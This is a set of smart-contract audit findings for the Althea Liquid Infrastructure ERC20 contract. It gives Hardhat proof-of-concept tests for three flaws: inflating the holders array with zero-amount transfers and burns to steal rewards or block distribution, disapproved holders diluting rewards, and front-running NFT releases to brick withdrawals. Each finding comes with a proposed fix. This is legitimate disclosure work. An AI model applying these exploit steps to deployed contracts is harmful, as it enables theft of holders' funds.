Althea Liquid Infrastructure - BowTiedOriole's results

Lines of code

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L142-L145 https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L214-L231

Vulnerability details

Impact

LiquidInfrastructureERC20._beforeTokenTransfer() checks if the to address has a balance of 0, and if so, adds the address to the holders array.

LiquidInfrastructureERC20#L142-145

bool exists = (this.balanceOf(to) != 0);
if (!exists) {
    holders.push(to);
}

However, the ERC20 contract allows for transferring and burning with amount = 0, enabling users to manipulate the holders array.

An approved user that has yet to receive tokens can initiate a transfer from another address to themself with an amount of 0. This enables them to add their address to the holders array multiple times. Then, LiquidInfrastructureERC20.distribute() will loop through the user multiple times and give the user more rewards than it should.

for (i = nextDistributionRecipient; i < limit; i++) {
    address recipient = holders[i];
    if (isApprovedHolder(recipient)) {
        uint256[] memory receipts = new uint256[](
            distributableERC20s.length
        );
        for (uint j = 0; j < distributableERC20s.length; j++) {
            IERC20 toDistribute = IERC20(distributableERC20s[j]);
            uint256 entitlement = erc20EntitlementPerUnit[j] *
                this.balanceOf(recipient);
            if (toDistribute.transfer(recipient, entitlement)) {
                receipts[j] = entitlement;
            }
        }

        emit Distribution(recipient, distributableERC20s, receipts);
    }
}

This also enables any user to call burn with an amount of 0, which will push the zero address to the holders array causing it to become very large and prevent LiquidInfrastructureERC20.distributeToAllHolders() from executing.

Proof of Concept

it("malicious user can add himself to holders array multiple times and steal rewards", async function () {
    const { infraERC20, erc20Owner, nftAccount1, holder1, holder2 } = await liquidErc20Fixture();
    const nft = await deployLiquidNFT(nftAccount1);
    const erc20 = await deployERC20A(erc20Owner);

    await nft.setThresholds([await erc20.getAddress()], [parseEther('100')]);
    await nft.transferFrom(nftAccount1.address, await infraERC20.getAddress(), await nft.AccountId());
    await infraERC20.addManagedNFT(await nft.getAddress());
    await infraERC20.setDistributableERC20s([await erc20.getAddress()]);

    const OTHER_ADDRESS = '0x1111111111111111111111111111111111111111'

    await infraERC20.approveHolder(holder1.address);
    await infraERC20.approveHolder(holder2.address);

    // Malicious user transfers 0 to himself to add himself to the holders array
    await infraERC20.transferFrom(OTHER_ADDRESS, holder1.address, 0);

    // Setup balances
    await infraERC20.mint(holder1.address, parseEther('1'));
    await infraERC20.mint(holder2.address, parseEther('1'));
    await erc20.mint(await nft.getAddress(), parseEther('2'));
    await infraERC20.withdrawFromAllManagedNFTs();

    // Distribute to all holders fails because holder1 is in the holders array twice
    // Calling distribute with 2 sends all funds to holder1
    await mine(500);
    await expect(infraERC20.distributeToAllHolders()).to.be.reverted;
    await expect(() => infraERC20.distribute(2))
        .to.changeTokenBalances(erc20, [holder1, holder2], [parseEther('2'), parseEther('0')]);
    expect(await erc20.balanceOf(await infraERC20.getAddress())).to.eq(parseEther('0'));
});

it("malicious user can add zero address to holders array", async function () {
    const { infraERC20, erc20Owner, nftAccount1, holder1 } = await liquidErc20Fixture();

    for (let i = 0; i < 10; i++) {
        await infraERC20.burn(0);
    }
    // I added a getHolders view function to better see this vulnerability
    expect((await infraERC20.getHolders()).length).to.eq(10);
});

Tools Used

Manual Review

Recommended Mitigation Steps

Adjust the logic in _beforeTokenTransfer to ignore burns, transfers where the amount is 0, and transfers where the recipient already has a positive balance.

function _beforeTokenTransfer(
    address from,
    address to,
    uint256 amount
) internal virtual override {
    require(!LockedForDistribution, "distribution in progress");
    if (!(to == address(0))) {
        require(
            isApprovedHolder(to),
            "receiver not approved to hold the token"
        );
    }
    if (from == address(0) || to == address(0)) {
        _beforeMintOrBurn();
    }
-   bool exists = (this.balanceOf(to) != 0);
-   if (!exists) {
+   if (to != address(0) && balanceOf(to) == 0 && amount > 0)
       holders.push(to);
   }
}

Assessed type

Token-Transfer

Lines of code

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L116-L119 https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L270-L277

Vulnerability details

Impact

Unapproved holders are not included in the rewards distribution, but they ARE included in the rewards calculation. The disapproveHolder() function does not guarantee that a user has a balance of 0.

LiquidInfrastructureERC20#L116-119

function disapproveHolder(address holder) public onlyOwner {
    require(isApprovedHolder(holder), "holder not approved");
    HolderAllowlist[holder] = false;
}

If a holder has a positive balance when they are disapproved, approved users will receive fewer shares than they deserve. In the EntitlementPerUnit calculation, the full token supply is used regardless of whether those tokens are owned by unapproved holders.

LiquidInfrastructureERC20#L270-277

uint256 supply = this.totalSupply();
for (uint i = 0; i < distributableERC20s.length; i++) {
    uint256 balance = IERC20(distributableERC20s[i]).balanceOf(
        address(this)
    );
    uint256 entitlement = balance / supply;
    erc20EntitlementPerUnit.push(entitlement);
}

If a scenario ever occurs where the protocol wants to disappove a holder after they have already obtained tokens, reward calculations will be incorrect.

Proof of Concept

it('Unapproved holders still accrue rewards', async () => {
    const { infraERC20, erc20Owner, nftAccount1, holder1, holder2, holder3 } = await liquidErc20Fixture();
    const nft = await deployLiquidNFT(nftAccount1);
    const erc20 = await deployERC20A(erc20Owner);

    await nft.connect(nftAccount1).setThresholds([await erc20.getAddress()], [parseEther('100')]);
    await nft.connect(nftAccount1).transferFrom(nftAccount1.address, await infraERC20.getAddress(), await nft.AccountId());
    await erc20.mint(await nft.getAddress(), parseEther('1'));
    await infraERC20.addManagedNFT(await nft.getAddress());
    await infraERC20.setDistributableERC20s([await erc20.getAddress()]);

    await infraERC20.approveHolder(holder1.address);
    await infraERC20.approveHolder(holder2.address);
    await infraERC20.mint(holder1.address, parseEther('.5'));
    await infraERC20.mint(holder2.address, parseEther('.5'));
    await infraERC20.disapproveHolder(holder2.address);

    await mine(500);
    await infraERC20.withdrawFromAllManagedNFTs();
    // FAILS HERE - Holder 1 should receive full erc20 balance, but actually receives half
    await expect(() => infraERC20.distributeToAllHolders()).to.changeTokenBalances(erc20, [holder1, holder2], [parseEther('1'), 0]);
});

Tools Used

Manual Review

Recommended Mitigation Steps

Add a disapprovedHolderSupply state variable and keep track of it when approving or disapproving a holder. Then, adjust the supply calculation in _beginDistribution.

function approveHolder(address holder) public onlyOwner {
    require(!isApprovedHolder(holder), "holder already approved");
+   disapprovedHolderSupply -= balanceOf(holder);
    HolderAllowlist[holder] = true;
}

function disapproveHolder(address holder) public onlyOwner {
    require(isApprovedHolder(holder), "holder not approved");
+   disapprovedHolderSupply += balanceOf(holder);
    HolderAllowlist[holder] = false;
}

// Calculate the entitlement per token held
- uint256 supply = this.totalSupply();
+ uint256 supply = this.totalSupply() - disapprovedHolderSupply;
for (uint i = 0; i < distributableERC20s.length; i++) {
    uint256 balance = IERC20(distributableERC20s[i]).balanceOf(
        address(this)
    );
    uint256 entitlement = balance / supply;
    erc20EntitlementPerUnit.push(entitlement);
}

Assessed type

Math

Lines of code

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L382-L385

Vulnerability details

Impact

The protocol allows LiquidInfrastructureERC20.withdrawFromManagedNFTs() to be completed in a multi-step process by storing nextWithdrawal as a state variable.

The withdrawal process is complete if the following if statement executes:

LiquidInfrastructureERC20#L382-385

if (nextWithdrawal == ManagedNFTs.length) {
    nextWithdrawal = 0;
    emit WithdrawalFinished();
}

This presents a problem because ManagedNFTs.length can change during a withdrawal process. If the protocol owner ever bundles two releaseManagedNFT() calls into one transaction via a Gnosis safe or other method, a malicious user can frontrun the transaction and brick future withdrawals.

Consider the following scenario:

1. There are currently 8 ManagedNFTs in the LiquidInfrastructureERC20 contract
2. The owner batches two calls to releaseManagedNFT() in one transaction via a Gnosis safe
3. A malicious user frontruns the transaction and calls withdrawFromManagedNFTs(7)
4. After the owner's transaction executes, ManagedNFTs.length = 6, but nextWithdrawal = 7.
5. LiquidInfrastructureERC20.withdrawFromManagedNFTs() will no longer be functional

Proof of Concept

it("malicious user can frontrun releaseManagedNFT to brick withdrawals", async () => {
    const { infraERC20, erc20Owner, nftAccount1, holder1, holder2, holder3, holder4 } = await liquidErc20Fixture();
    const nftA = await deployLiquidNFT(nftAccount1);
    const nftB = await deployLiquidNFT(nftAccount1);
    const nftC = await deployLiquidNFT(nftAccount1);
    const erc20 = await deployERC20A(erc20Owner);
    await nftC.setThresholds([await erc20.getAddress()], [parseEther('100')]);

    await nftA.transferFrom(nftAccount1.address, await infraERC20.getAddress(), await nftA.AccountId());
    await nftB.transferFrom(nftAccount1.address, await infraERC20.getAddress(), await nftB.AccountId());
    await nftC.transferFrom(nftAccount1.address, await infraERC20.getAddress(), await nftC.AccountId());
    await infraERC20.addManagedNFT(await nftA.getAddress());
    await infraERC20.addManagedNFT(await nftB.getAddress());
    await infraERC20.addManagedNFT(await nftC.getAddress());

    // Simulate a malicious user frontrunning two releaseManagedNFT calls
    await infraERC20.withdrawFromManagedNFTs(2);
    await infraERC20.releaseManagedNFT(await nftA.getAddress(), nftAccount1.address);
    await infraERC20.releaseManagedNFT(await nftB.getAddress(), nftAccount1.address);

    await erc20.mint(await nftC.getAddress(), parseEther('2'));
    await infraERC20.withdrawFromAllManagedNFTs();
    expect(await erc20.balanceOf(await infraERC20.getAddress())).to.eq(parseEther('2')); // FAILS HERE
});

Tools Used

Manual Review

Recommended Mitigation Steps

Check if `nextWithdrawal >= ManagedNFTs.length``, and if so, reset nextWithdrawal.

function withdrawFromManagedNFTs(uint256 numWithdrawals) public {
    require(!LockedForDistribution, "cannot withdraw during distribution");

+   if (nextWithdrawal >= ManagedNFTs.length) {
+       nextWithdrawal = 0;
+   }

    if (nextWithdrawal == 0) {
        emit WithdrawalStarted();
    }

    uint256 limit = Math.min(
        numWithdrawals + nextWithdrawal,
        ManagedNFTs.length
    );

Assessed type

Invalid Validation